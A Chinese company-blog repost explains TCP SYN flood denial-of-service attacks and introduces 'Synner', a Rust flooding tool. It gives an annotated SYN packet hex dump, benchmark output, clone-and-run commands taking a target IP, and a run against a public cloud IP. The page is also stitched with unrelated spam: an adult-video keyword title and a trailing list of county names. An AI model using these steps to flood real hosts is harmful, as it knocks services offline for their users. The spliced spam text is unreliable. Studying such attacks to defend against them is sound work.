成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

TCPSYNFlood是怎么實(shí)現(xiàn)

這篇文章將為大家詳細(xì)講解有關(guān)TCP SYN Flood是怎么實(shí)現(xiàn),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

創(chuàng)新互聯(lián)是一家專業(yè)提供潘集企業(yè)網(wǎng)站建設(shè),專注與網(wǎng)站制作、做網(wǎng)站、H5頁面制作、小程序制作等業(yè)務(wù)。10年已為潘集眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)網(wǎng)站建設(shè)公司優(yōu)惠進(jìn)行中。

摘要

拒絕服務(wù)攻擊(DDoS)從1970年出現(xiàn)直到今天都依然在作祟,并給全球范圍內(nèi)的各大組織帶來了不可估量的損失。在這篇文章中,我們將跟大家介紹一種特定的DoS攻擊,即TCP SYN Flood攻擊,并介紹一款名叫Synner的工具。

該工具采用Rust開發(fā),由libpnet驅(qū)動(dòng),該工具目前仍處于開發(fā)狀態(tài)(WIP),不過現(xiàn)在的功能已經(jīng)足以發(fā)布出來跟社區(qū)人員共享了。

介紹

Synner能夠向目標(biāo)快速持續(xù)地發(fā)送SYN數(shù)據(jù)包奧,并引起目標(biāo)拒絕服務(wù)。一般來說,編寫并將這類攻擊工具開源出來,使很多安全社區(qū)的研究人員所詬病的,但我個(gè)人并不這樣認(rèn)為,因?yàn)槲覀冎挥星宄刂拦舻木唧w實(shí)現(xiàn)方式,我們才能更好地保護(hù)自己。

TCP SYNFlood攻擊原理

TCP SYNFlood攻擊利用的是TCP的三次握手(SYN -> SYN/ACK -> ACK),過程如下圖所示:

TCP SYN Flood是怎么實(shí)現(xiàn)

核心思想就是同步發(fā)送SYN數(shù)據(jù)包,這樣的操作對(duì)于發(fā)送方(攻擊者)來說是非常容易實(shí)現(xiàn)的,而對(duì)于接收方(目標(biāo))來說會(huì)需要消耗更多的資源去接收和處理數(shù)據(jù)包。除此之外,在發(fā)送完SYN數(shù)據(jù)包之后,我們不需要等待接收端返回的SYN/ACK數(shù)據(jù)包,我們只需要繼續(xù)向?qū)Ψ桨l(fā)送SYN數(shù)據(jù)包并讓服務(wù)器自己去處理就可以了。這樣一來,當(dāng)合法用戶嘗試連接服務(wù)器時(shí),服務(wù)器已經(jīng)有大量SYN連接需要去處理,因此將無法及時(shí)相應(yīng)合法用戶的請(qǐng)求。

TCP SYN Flood是怎么實(shí)現(xiàn)

對(duì)于接收方來說還有一個(gè)難題,就是請(qǐng)求源是可以偽造的,尤其是src端口,這就增加了屏蔽非法請(qǐng)求的難度。

下面給出的是一個(gè)隨機(jī)TCP SYN數(shù)據(jù)包的十六進(jìn)制形式:

0000   08 00 27 cb 9d 0b 48 4d 7e 9c 79 4b 08 00 4500   ..'?..HM~.yK..E.0010   00 34 7e b2 40 00 80 06 b8 b5 c0 a8 21 01 c0a8   .4~2@...?μà¨!.à¨0020   21 0a f8 e0 b5 58 f4 fa f1 e9 00 00 00 00 8002   !.?àμX?ú?é......0030   fa f0 66 5b 00 00 03 03 08 04 02 02 04 05 b401   úef[..........′.0040   01 00

解析出來之后的結(jié)果如下:

0x08,0x00, 0x27, 0xcb, 0x9d, 0x0b,     //Destination MAC0x48,0x4d, 0x7e, 0x9c, 0x79, 0x4b,      //Source MAC0x08,0x00,                                                //Type (IPv4)0x45,                                                          //IPv4 Header Length0x00,                                                          //Explicit Congestion Notification (congestion control)0x00,0x34,                                                //Total length0x7e,0xb2,                                                //Identification number0x40,0x00,                                                //Fragment Offset (Don't Fragment packet for us, it's under 1460 bytes)0x80,                                                          //Time to Live (128)0x06,                                                        //IP protocol version (6/TCP)0xb8,0xb5,                                               //Header checksum using internet checksum technique (validation disabled)0xc0,0xa8, 0x21, 0x01,                          //Source IP0xc0,0xa8, 0x21, 0x0a,                          //Destination IP0xf8,0xe0,                                                 //TCP Source Port (max 65535)0xb5,0x58,                                                //TCP Destination Port (max 65535)0xf4,0xfa, 0xf1, 0xe9,                            //Sequence number, generally random to avoid other variants of TCP    attacks0x00,0x00, 0x00, 0x00,                         //TCP ACK value set to 0 since this is just a SYN packet0x80,0x02,                                                //TCP flags (only SYN [00000010] bit is set)0xfa,0xf0,                                                  //TCP window size0x66,0x5b,                                                //TCP checksum0x00,0x00,                                     //TCP urgent pointer set to 0,    useful with stuff like FTP that use port 20 &21 for control & transfer0x03,0x03, 0x08, 0x04,                         //TCP Options0x02,0x02, 0x04, 0x05,    0xb4,            // TCP Options values0x01,0x01, 0x00                             //TCP NOP option (padding)

Synner到底有多快?

Synner一開始的速度還是比較慢的,首先我當(dāng)時(shí)還沒有使用任何編譯器來對(duì)其進(jìn)行優(yōu)化,其次我當(dāng)時(shí)選擇使用的是pnet_datalink::DataLinkSender::send_to而不是pnet_datalink::DataLinkSender::build_and_send,這也就意味著我選擇克隆數(shù)據(jù)包的方式還不夠完美。因此,Synner當(dāng)時(shí)發(fā)送1000000個(gè)TCPSYN數(shù)據(jù)包需要花29.48秒,相當(dāng)于每秒鐘發(fā)送33921個(gè)數(shù)據(jù)包,簡直是受不了。

不過經(jīng)過優(yōu)化之后的結(jié)果還是比較好的,數(shù)據(jù)如下:

TCP SYN Flood是怎么實(shí)現(xiàn)

原始的Powershell輸出如下:

PS C:\Users\jdb\Projects\synner\target\release>Measure-Command {./synner 192.168.33.10"\Device\NPF_{927C716F-3AD0-42D6-89A1-0B121C6F5413}"}  Days              : 0Hours             : 0Minutes           : 0Seconds           : 6Milliseconds      : 736Ticks             : 67369563TotalDays         : 7.797403125E-05TotalHours        : 0.00187137675TotalMinutes      : 0.112282605TotalSeconds      : 6.7369563TotalMilliseconds: 6736.9563   PSC:\Users\jdb\Projects\synner\target\release> pushd ../debugPSC:\Users\jdb\Projects\synner\target\debug> Measure-Command {./synner192.168.33.10 "\Device\NPF_{927C716F-3AD0-42D6-89A1-0B121C6F5413}"}  Days              : 0Hours             : 0Minutes           : 0Seconds           : 19Milliseconds      : 688Ticks             : 196886353TotalDays         : 0.00022787772337963TotalHours        : 0.00546906536111111TotalMinutes      : 0.328143921666667TotalSeconds      : 19.6886353TotalMilliseconds: 19688.6353

工具要求

1.   rustc/cargov1.27.0

2.   WinPcapfor libpnet(Windows)

工具使用

首先使用下列命令克隆項(xiàng)目源碼:

git clone https://github.com/JuxhinDB/synner.git

然后運(yùn)行下列命令:

cargo run TARGET_IP INTERFACE_NAME

為了確保能夠?qū)С鐾暾木W(wǎng)絡(luò)接口列表,請(qǐng)確保使用管理員權(quán)限運(yùn)行命令行工具。

如果你無法確定接口名稱,你可以使用\DEVICE\來查看接口列表,例如:

cargo run 192.168.33.10 \DEVICE\   Compiling synner v0.1.0(file:///C:/Users/juxhindb/Projects/synner)    Finished dev [unoptimized + debuginfo]target(s) in 1.63s     Running `target\debug\synner.exe192.168.33.10 \DEVICE\`Listof Available Interfaces Interfacename: "\\Device\\NPF_{B1BBC7C0-C3CF-490B-A640-00ABDB86F989}"InterfaceMAC: 0a:00:27:00:00:12InterfaceIP: 192.168.99.1 Interfacename: "\\Device\\NPF_{AD266AD1-7AE0-4360-8EE5-ED6283B43B9C}"InterfaceMAC: 2a:56:5a:4f:fc:e9InterfaceIP: 0.0.0.0 Interfacename: "\\Device\\NPF_{2288F93F-E56C-4F71-8B8E-C385BE71421F}"InterfaceMAC: 1a:56:5a:4f:fc:e9InterfaceIP: 0.0.0.0

使用樣例

運(yùn)行下列命令對(duì)一個(gè)DigitalOcean測試用例進(jìn)行測試:

cargo run 206.189.96.237 \Device\NPF_{F94968E8-FBA0-410D-8CD3-F205AEAD4DC9}

在下面這個(gè)GIF中,底部是運(yùn)行Synner的界面,右邊是一個(gè)SSH連接,用來查看TCP連接信息(sudotcpdump "tcp[tcpflags] & (tcp-syn) != 0" -i eth0 -n),當(dāng)我成功對(duì)第一個(gè)目標(biāo)進(jìn)行TCP SYN Flood攻擊之后,左邊顯示的是我嘗試對(duì)第二個(gè)目標(biāo)進(jìn)行攻擊的畫面。

TCP SYN Flood是怎么實(shí)現(xiàn)

關(guān)于TCP SYN Flood是怎么實(shí)現(xiàn)就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

新聞名稱:TCPSYNFlood是怎么實(shí)現(xiàn)
網(wǎng)頁網(wǎng)址:http://jinyejixie.com/article18/poeodp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App開發(fā)、標(biāo)簽優(yōu)化面包屑導(dǎo)航、用戶體驗(yàn)、服務(wù)器托管網(wǎng)站維護(hù)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站制作
礼泉县| 东方市| 桑日县| 华亭县| 永善县| 宜川县| 高淳县| 连云港市| 垫江县| 仲巴县| 吉木萨尔县| 江油市| 甘洛县| 南召县| 炉霍县| 南召县| 通化市| 芷江| 确山县| 利津县| 包头市| 喀什市| 铜鼓县| 南郑县| 将乐县| 中宁县| 虹口区| 洞口县| 巴塘县| 渭源县| 大庆市| 绥棱县| 阿拉善左旗| 枣阳市| 周宁县| 武城县| 南宁市| 大悟县| 临清市| 陈巴尔虎旗| 巴东县|